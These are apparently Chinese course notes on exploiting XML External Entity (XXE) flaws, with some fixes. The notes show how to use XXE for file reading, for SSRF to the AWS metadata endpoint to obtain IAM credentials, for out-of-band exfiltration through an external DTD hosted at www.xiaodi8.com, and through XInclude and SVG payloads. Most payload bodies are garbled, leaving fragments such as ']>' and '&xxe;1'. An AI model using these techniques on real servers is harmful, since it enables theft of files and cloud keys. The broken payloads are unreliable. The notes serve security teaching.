0%

第71天-XML&XXE&无回显带外&SSRF元数据&DTD实体&OOB盲注&文件拓展&复盘

演示案例:

WEB攻防-XML&XXE-注入原理&分类&安全影响

WEB攻防-XML&XXE-文件读取&SSRF&外部实体

➢ WEB攻防-XML&XXE-无回显利用&文件拓展解析等

一、前置知识

XML被设计为传输和存储数据,XML文档结构包括XML声明(第一行用来声明版本和编码)、DTD文档类型定义(可选, 用来约束 XML 里面标签、属性该怎么写,XXE 漏洞就出在 DTD 外部实体 )、文档元素( 自定义标签构成的树形结构(根节点、子节点),承载实际数据。 ),其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。等同于JSON传输。

XML与HTML 的主要差异:

XML 被设计为传输和存储数据,其焦点是数据的内容。

HTML 被设计用来显示数据,其焦点是数据的外观。

HTML 旨在显示信息 ,而XML旨在传输存储信息。

XXE漏洞XML External Entity Injection,即xml外部实体注入漏洞:XXE漏洞发生在应用程序解析XML输入时,没禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网扫描、攻击内网等危害。

-XXE黑盒发现:

两类:

-数据包的测试

-功能点的测试

1、获取得到Content-Type或数据类型为xml时,尝试xml语言payload进行测试

2、不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe

3、XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行

-XXE白盒发现:

1、可通过应用功能追踪代码定位审计

2、可通过脚本特定函数搜索定位审计

3、可通过伪协议玩法绕过相关修复等

XXE修复防御方案:

-方案1-禁用外部实体

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

Python:

from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

-方案2-过滤用户提交的XML数据

过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

二、有回显利用

1、文件读取:

]>

&xxe;1

2、SSRF&配合元数据

条件:存在XXE注入的云服务器应用

]>

&xxe;

1

http://169.254.169.254/latest/meta-data/iam/security-credentials/admin 169.254.169.254AWS EC2 云实例的链路本地元数据服务地址(IMDSv1)只能从 EC2 实例本机内部访问,公网无法直接访问腾讯云。这里利用xxe漏洞让服务器自动去访问这个地址,就会返回敏感内容,例如aksk。

外部引用实体dtd:

%file;

]>

&send;xiaodi

file.dtd

三、无回显利用

1、带外测试

%file;

]>

&send;xiaodi

2、外部引用实体dtd配合带外

%remote;

%all;

这里只调用了remote和all为什么没有调用file,我们分析一下内部dtd子集,首先是两个外部实体参数的定义,然后是实体参数remote和all的调用,remote调用会去访问http://www.xiaodi8.com/test.dtd,test.dtd的内容下面写了,然后test.dtd的内容会被嵌入到dtd内部子集中,然后调用实体参数all,刚刚嵌入的内容会被展开,因为file实体是嵌入到all实体的字符串中, 等外层实体展开的时候,自动把里面的file一起展开。

]>

&send;xiaodi

test.dtd:

“>

get.php:

test.dtd->all->send->get.php?file=%file->file:///c:/c.txt

http://www.xiaodi8.com/get.php?file=读取的内网数据

3、外部引用实体dtd配合错误解析

“>

%eval;

%exfil;

这里有疑问了为什么错误路径会把内容显示出来,因为system实体的逻辑是先把整个字符串拼接起来,实体展开完成之后,才去尝试访问这个路径这一步就拿到内容了。

%xxe;]>

四、升级拓展

1、xinclude利用

一些应用程序接收客户端提交的数据,在服务器端将其嵌入到XML文档中,然后解析该文档,所以利用xinclude嵌套进去执行

<xi:include parse=”text”href=”file:///etc/passwd”/>

之前我们都是xml整体发到服务器的,这里比如发送的内容是user=1&&pass=2这种,但是它发送到服务器可能是拼接成12,所以我们只能控制内容,xinclude就是专门嵌入在普通xml元素内使用的

2、SVG图像解析(docx等)

一些应用程序接收解析文件,可以使用基于XML的格式的例子有DOCX这样的办公文档格式和SVG这样的图像格式进行测试

]><svg width=”128px”height=”128px”xmlns=”http://www.w3.org/2000/svg“ xmlns:xlink=”http://www.w3.org/1999/xlink"version="1.1"><text font-size=”16”x=”0”y=”16”>&xxe;

3、见图

基于XML的Web服务: SOAP、REST和RPC API这些接收和处理XML格式

导入/导出功能: 任何以 XML 格式传输数据的进出口

RSS/Atom 订阅处理器: 订阅功能也可能隐藏着 XXE 漏洞。

文档查看器/转换器: 处理DOCX、XLSX等XML 格式文档的功能

文件上传处理 XML: 比如SVG图像处理器,上传图片也可能中招!

五、复盘

SRC报告

http://web.jarvisoj.com:9882/

这个抓包我们发现是参数是json格式,我们把内容直接改成xeepayload,content_type改为application/xml然后就得到敏感内容了,太简单不演示了

https://mp.weixin.qq.com/s/5iPoqsWpYfQmr0ExcJYRwg